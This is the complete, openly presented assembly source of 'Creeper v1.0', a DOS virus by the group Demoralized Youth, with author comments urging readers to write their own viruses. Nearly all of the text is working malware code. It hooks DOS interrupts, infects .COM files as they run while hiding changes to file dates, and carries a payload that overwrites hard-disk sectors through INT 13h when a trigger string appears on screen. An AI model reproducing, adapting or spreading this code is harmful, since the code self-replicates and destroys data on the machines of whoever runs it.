home *** CD-ROM | disk | FTP | other *** search
- ;
- ; Demoralized Youth proudly presents: Creeper v1.0, Original Source
- ;
- ; Written by: TORMENTOR
- ;
- ; Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
- ; The reason why I release the original source is that I think I
- ; can't do much more on this virus... I will start from scratch
- ; and write a larger and more smarter EXE-virus...
- ; And if I release this source maybe YOU will get some god ideas and
- ; write your own virus (or rewrite this!)...
- ; And if you do, Great! Feel free to mix with it as much as you want
- ; but please don't change this file!
- ; Well, go on and write virus! The world is to safe!
- ;
- ;
- ; Regards / TORMENTOR
- ;
-
- code segment byte public
- assume cs:code, ds:code, es:code, ss:code
-
-
- org 100h
-
-
- codebeg:
-
-
- mov ax,043FFh ; Remove virus from code!
- int 21h
-
- ; Let's allocate some mem!
-
- mov ax,ds
- sub ax,11h
- mov ds,ax
- cmp byte ptr ds:[0100h],5Ah
- jnz skip
- mov ax,ds:[0103h]
- sub ax,40h
- jb skip
- mov ds:[0103h],ax
- sub word ptr ds:[0112h],50h
- mov es,ds:[0112h]
- push cs
- pop ds
- mov cx,code_end-codebeg
- mov di,100h
- push di
- mov si,di
- rep movsb
-
- push es
- pop ds
-
- mov ax,351Ch
- int 21h
- mov word ptr ds:[int1Cret],bx
- mov word ptr ds:[int1Cret+2],es
- mov al,21h
- int 21h
- mov word ptr ds:[real21+1],bx
- mov word ptr ds:[real21+3],es
-
- mov ah,25h
- mov dx,offset int21beg
- int 21h
- mov al,1Ch
- mov dx,offset int1Cnew
- int 21h
-
- push cs
- push cs
- pop es
- pop ds
-
- ret
-
- skip: int 20h
-
-
- int21beg: push ax
- sub ax,4B00h
- jz infect
- pop ax
- cmp ax,043FFh ; Check if Harakiri.
- jne real21
-
- mov ax,word ptr ds:[retdata]
- mov si,ax
- mov di,100h
- mov cx,code_end-codebeg
- rep movsb
-
- mov ax,100h
-
- pop cx
- pop cx
- push es
- push ax
- iret
-
- real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
-
-
- retdata: db 00h, 00h
-
- f_time: dw 0000h
-
- f_date: dw 0000h
-
- infect: pop ax
-
- push ax
- push bx
- push cx
- push di
- push ds
- push dx
- push si
-
-
- mov ah,43h ; Get file attr.
- int 21h
- mov ax,4301h
- and cx,0FEh ; Strip the Read-only-flag
- int 21h
-
- mov ax,3D02h ; Open victim.
- int 21h
-
- xchg ax,bx
-
- call sub_2
-
- sub_2: mov di,sp ; God what I hate that Eskimo!
- mov si,ss:[di]
- inc sp
- inc sp
-
- push cs
- pop ds
-
- mov ax,5700h ; Get file's time and date
- int 21h
- mov [si-(sub_2-f_time)],cx
- mov [si-(sub_2-f_date)],dx ; And save them...
-
- mov ah,3Fh ; Read X byte from begin.
- mov cx,code_end-codebeg
- add si,code_end-sub_2 ; SI points to EOF
- mov dx,si
- int 21h
-
-
- cmp word ptr [si],'MZ' ; Mark Zimbowski?
- je close
- cmp word ptr [si],'ZM' ; Zimbowski Mark?
- je close
- mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected?
- je close
-
- call put_eof ; move file ptr to EOF
-
- cmp ax,(0FFFFh-(code_end-codebeg)-100h)
- ja close
- cmp ax,code_end-codebeg+100h
- jb close
-
- add ax,100h
- mov word ptr ds:[si-(code_end-retdata)],ax
-
- mov ah,40h ; Flytta beg to end.
- mov cx,code_end-codebeg
- mov dx,si
- int 21h
-
- mov ax,4200h ; fptr to filbeg.
- xor cx,cx
- xor dx,dx
- int 21h
-
- mov ah,40h ; Write virus to beg.
- mov cx,code_end-codebeg
- mov dx,si
- sub dx,cx
- int 21h
-
- close: mov ax,5701h
- mov cx,[si-(code_end-f_time)]
- mov dx,[si-(code_end-f_date)]
- int 21h
-
- mov ah,3Eh
- int 21h ; close file, bx=file handle
-
- pop si
- pop dx
- pop ds
- pop di
- pop cx
- pop bx
- pop ax
-
-
- jmp real21
-
- put_eof: mov ax,4202h
- xor dx,dx
- xor cx,cx
- int 21h
- ret
-
-
- int1Cnew:
-
- push ax
- inc byte ptr cs:[counter]
- mov al,30h
- cmp byte ptr cs:[counter],al
- jz scan
- pop ax
-
-
- slut: jmp dword ptr cs:[int1Cret]
-
- scan:
- push bx
- push cx
- push di
- push ds
- push dx
- push es
- push si
-
-
- push cs
- pop ds
-
- cld
- xor bx,bx
- mov byte ptr cs:[counter],bh
- mov cx,0FA0h
-
- mov ax,0b800h
- mov es,ax
- xor di,di
-
- again: mov al,byte ptr cs:[text+bx]
- sub al,80h
- repnz scasb
- jnz stick
-
- maybe: inc di
- inc bx
- cmp bx,10d
- jz beep
-
- mov al,byte ptr cs:[text+bx]
- sub al,80h
- scasb
- jz maybe
- xor bx,bx
- jmp again
-
- beep:
- xor cx,cx
- mov bx,word ptr cs:[int1Cret]
- mov es,word ptr cs:[int1Cret+2]
- mov ax,251Ch
- int 21h
-
- overagain: mov dx,0180h
- xor bx,bx
-
- reset: mov ah,00h
- inc bx
- cmp bl,5h
- jz raise
- inc cx
- int 13h
-
- hoho: mov ax,0380h
- inc cx
- int 13h
- jc reset
- jmp hoho
-
- raise: xor cx,cx
- xor bx,bx
- inc dx
- cmp dl,85h
- jnz hoho
- jmp overagain
-
- stick:
- pop si
- pop es
- pop dx
- pop ds
- pop di
- pop cx
- pop bx
- pop ax
-
-
- jmp slut
-
-
- counter: db 00h
-
- text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
- db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
-
- ; This is what it scans the screen for --^
-
- int1Cret: db 0EAh, 00h, 00h, 00h, 00h
-
- code_end: ; THE END.
-
- code ends
- end codebeg
-
- ;
- ; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer
- ; And ALL other virus-writers!
- ;
-